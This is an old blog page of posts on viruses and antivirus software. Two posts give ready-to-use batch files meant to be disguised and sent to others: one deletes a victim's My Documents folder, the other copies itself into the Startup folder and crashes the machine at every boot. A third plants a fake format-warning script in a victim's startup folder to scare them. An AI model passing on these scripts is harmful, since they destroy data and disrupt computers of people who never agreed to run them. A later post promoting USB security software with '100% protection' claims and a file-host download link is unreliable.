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Showing posts with label Virus-Antivirus. Show all posts
Showing posts with label Virus-Antivirus. Show all posts

Thursday, 29 December 2011

HOW TO CREATE VIRUS FILE


Disclaimer:
This trick can cause damage thats why use it on your own responsibility.In any case the author or publisher will not be responsible for any damage.

Follow these steps to create virus:
1. Open notepad and paste the Code below,

rmdir C:\Documents and Settings \S\Q




2. Now save the file by any name with .BAT extension. E.g Game.BAT

Now if someone will open this file then "My Document" of his pc will be deleted completely.

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Wednesday, 28 December 2011

TRICK TO DAMAGE ONE'S COMPUTER BY E-MAIL


DISCLAIMER:
Perform this trick on your own resposibility, as this can cause damage. In case of any damage the author or publisher will not be responsible.

1. Open Notepad.

2. COPY and Paste the
following Code without
quotes.....

"C:\Users\Owner\Desktop
\clickme.bat" "C:\Users\Owner
\AppData\Roaming\Microsoft
\Windows\Start Menu\Programs
\Startup\"

start clickme.bat
clickme.bat

3. Save it as, "clickme.bat"

4. Send it to them over email
or whatever.

What does this do?
They will
click on it, it will open multiple
command prompt windows until
the computer crashes.
When
they restart their computer, it will start again!

TIPS:
1. Make sure you tell them to
save the file on the desktop .
2. Make sure they run
Windows .

How To Stop It:
Just open your windows in safe
window and delete these two
files Code:

1. C:\Users\Owner\Desktop
\clickme.bat
2. C:\Users\Owner\AppData
\Roaming\Microsoft\Windows
\Start Menu\Programs\Startup\

thats it....

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Tuesday, 27 December 2011

SCAN FILES ONLINE USING 40+ ANTIVIRUS SOFTWARE AT VIRUSTOTAL


Ever wanted to scan a suspicious looking file using multiple antivirus software ?

I upgraded my Ubuntu linux to Lucid Lynxand installed Oracle Virtual Box over it. I later installed Windows XP as a virtual operating system and thought it might be better if I would install an antivirus program on it. However, as I moved my antivirus program and some other files from my USB drive, I had a gut feeling that things are just not right.

So..a bit of googling landed me at

Virustotal.com

which allows to scan a file using multiple antivirus
software, and it does what it says perfectly.

The site is extremely easy to use, I uploaded a file over it and it took less than a minute to generate results. The file was found positively ID’ed by it and one antivirus triggered a positive result from a scan of 41 antivirus.

Pros
1. Extremely fast scanning
2. Scanning using 40+ antivirus
3. complete detail about the file is provided

Cons
1. Cant scan my whole PC :(
2. Can only scan one file at a time
3. 20 MB file limit (that means I cant scan heavy executables like that ofAdobe Photoshop and Burnout Paradise)


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Monday, 22 August 2011

Make Friends Scare For Virus


Open notepad and type this: lol=msgbox ("Warning a virus has
been detected on your PC. Press
YES to format your hard disk
now or press NO to format your
hard disk after system
reboot",20,"Warning") Then save it as Virus.VBS and go to the folder that
contains it and open it if a
window pops out saying a virus
has been detected it's working.
Press yes or no to close the
window and put it in the startup folder of the victim's account.
On startup the window should
appear.
Note: This does not harm your computer as it does not contain
virus. The Yes and no button does not
do anything except closing the
window. And you can edit the
virus in the sentence: Warning a
virus has detected on your PC
to any kind of virus eg.Trojan Horse like this lol=msgbox
("Warning a Trojan horse has
been detected on your PC. Press
YES to format your hard disk
now or press NO to format
format your hard disk after system reboot",20,"Warning") Oh in between make sure your
victim does not panic and really
reformat his harddisk. hahaha :)

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Friday, 5 August 2011

What Is Adware?


Adware is a type of software
that displays advertising
banners while a program is
running. Most adware is also
spyware. In many cases,
freeware developers offer their products free-of-charge to
users, receiving financial support
from adware marketers by
bundling adware into freeware
products.
You should carefully read the terms of use before installing
any freeware or shareware.
The use of freeware and
shareware may sometimes imply
that you agreed to install
adware systems as well.

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Why Is It That Anti-Virus Software Cannot Repair Files That Are Infected By A Trojan Or A Worm?



Strictly speaking, there is no
such thing as “file infected by a
Trojan or a worm”. One
difference between a virus and a
Trojan or a worm is that a virus
will replicate itself to a clean file, which will in turn infect other
clean files when the infected file
is executed or opened.

A Trojan is a malicious program
installed on an infected computer
which does not attach itself to any file. Worms are also malicious
software that spread across
networks but do not replicate
onto a clean file. Therefore,
there is no file to repair when it
comes to a Trojan or a worm.

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How Can I Protect My PC Against Viruses And Malicious Code?



Always install and enable anti-
virus software or malicious code
detection and repair tools. You
can also consider similar products
that work against spyware and
adware. You should enable and configure the live update
feature of your virus signature
and malicious code definition files,
if available, setting the
frequency to update daily. If
automatic update is not possible, manual updates should be
conducted at least once a week.

In addition, users should:
�� Enable real-time detection to
scan, for example, email
attachments, files on removable
media, and files downloaded from
the Internet. ��
Schedule a regular full system
scan.
��
Regularly review and apply the
latest security patches/hot-fixes released by product vendors for
operating systems and
application programs.
��
Before installing any software,
verify its integrity (e.g. by comparing checksum values) and
ensure it is free of computer
viruses and malicious code.
��
Avoid using personal Internet
email, which is more susceptible to computer virus infection. If
personal Internet email services
must be used for business
purposes, emails should be
downloaded to an isolated
computer via a dedicated Internet connection.
��
Always boot from the primary
hard disk. As far as possible, do
not boot workstations from
removable storage devices. ��
Backup your data regularly.
If you suspect your computer is
infected, you should stop using
it, because that may spread the
computer virus or malicious code further. If it is your office
computer or mobile device, you
should report the incident to the
management and LAN/System
Administrator immediately.

While you can use anti-virus
software to clean malicious code,
it may not be possible to fully
recover infected files. You should
replace any infected files with
original copies from your backup systems. After recovery, a
complete scan of your PC and
other removable storage media
is vital to ensure everything is
now free of viruses or malicious
code.

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What Should I Do If I Receive Virus-Infected Emails Generated By ass-Mailing Viruses?



You should reject and delete
such virus-infected emails and
never open any attachment in
such messages. You should also
ensure that you have adequate
virus protection measures in place on your computers, and
that anti-virus software is kept
up to date with the latest virus
signatures and detection and
repair engines. Unless it is
possible to verify the apparent sender address of the virus-
infected email, do not send any
enquiry message to the
apparent sender because in
most of the cases, the sender
address is spoofed and the sender whose email address it is
has nothing to do with the
virus-infected message. This
avoids further confusion and
unnecessary allegations.

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Saturday, 2 July 2011

Protect Your Computer from USB Virus



Have you ever attached a USB
to a computer and later found
out that the Computer is
infected by a virus? I have
definitely faced this situation
many times. If you attach your infected USB drive to the
infected computer the virus is
transferred to the Computer in
no time infecting all the
important documents. But now
you don't have to worry about any USB Virus because USB Disk
Security provides 100 %
protection against any threats
via USB drive. USB Disk Security
provides 100% protection
against any threats via USB drive, however, the majority of
other products are unable even
to guarantee 90% protection.
USB Disk Security is the best
antivirus software to
permanently protect offline computer without the need for
signature updates, but other
antivirus software should update
signature database regularly,
and they cannot effectively
protect offline computer. This light and easy to use solution is
100% compatible with all
software and doesn't slow down
your computer at all. You pay
USB Disk Security once and get it
all, however, other antivirus products should be paid for
updates every year.
Product Highlights: 100 %
protection against any malicious
programs via USB storage USB
Disk Security uses innovative proactive technology to block
any threats via USB drive. There
are relatively few products
available in shops or on the
Internet which offer even close
to 100% protection against any malicious programs via USB drive.
The majority of products are
unable even to guarantee 90%
protection. USB Disk Security is
the world's best software to
block threats via USB drive. The best solution to protect offline
computer Other antivirus
software should update
signature database regularly,
and they cannot effectively
protect offline computer that is not connected to the Internet.
When new viruses, worms and
other malicious attacks strike,
traditional signatures are
insufficient. Every minute one
waits for a virus signature update creates a window of
vulnerability that could have
devastating consequences. USB
Disk Security uses advanced
proactive detection techniques,
requires no signature updates, and closes the window of
vulnerability left open by other
reactive, signature-based
responses. The world's fastest
and smallest antivirus software
With USB Disk Security, it's not necessary to sacrifice speed for
detection and scanning. Compare
antivirus software and you'll
discover that USB Disk Security
is by far one of the smallest
applications in the industry. For example, the v5.0 of USB Disk
Security installer is just 1 MB.
The program utilizes
approximately 1 to 7 MB of RAM.
100% compatible with all
software Incompatibility between antivirus programs is an issue. In
the vast majority of cases,
installing two antivirus programs
from different vendors on one
machine (for increased
protection) is technically impossible, as the two programs
will disrupt each other's
functioning. However, USB Disk
Security is 100% compatible with
all software, including Windows
Vista. Simple to use USB Disk Security has been specifically
designed to perform effectively
regardless of the user's level of
computer expertise. Just install
and forget it. System
Requirement 100 MHz Processor or more, 16 MB RAM or more.
The operating system should be
Windows 95 , Windows 98 ,
Windows 2000 , Windows XP,
Windows NT 4.0, Windows ME, or
Vista.
Download

http://w17.easy-share.com/1702778903 .html

Feel Free To Comment.



 
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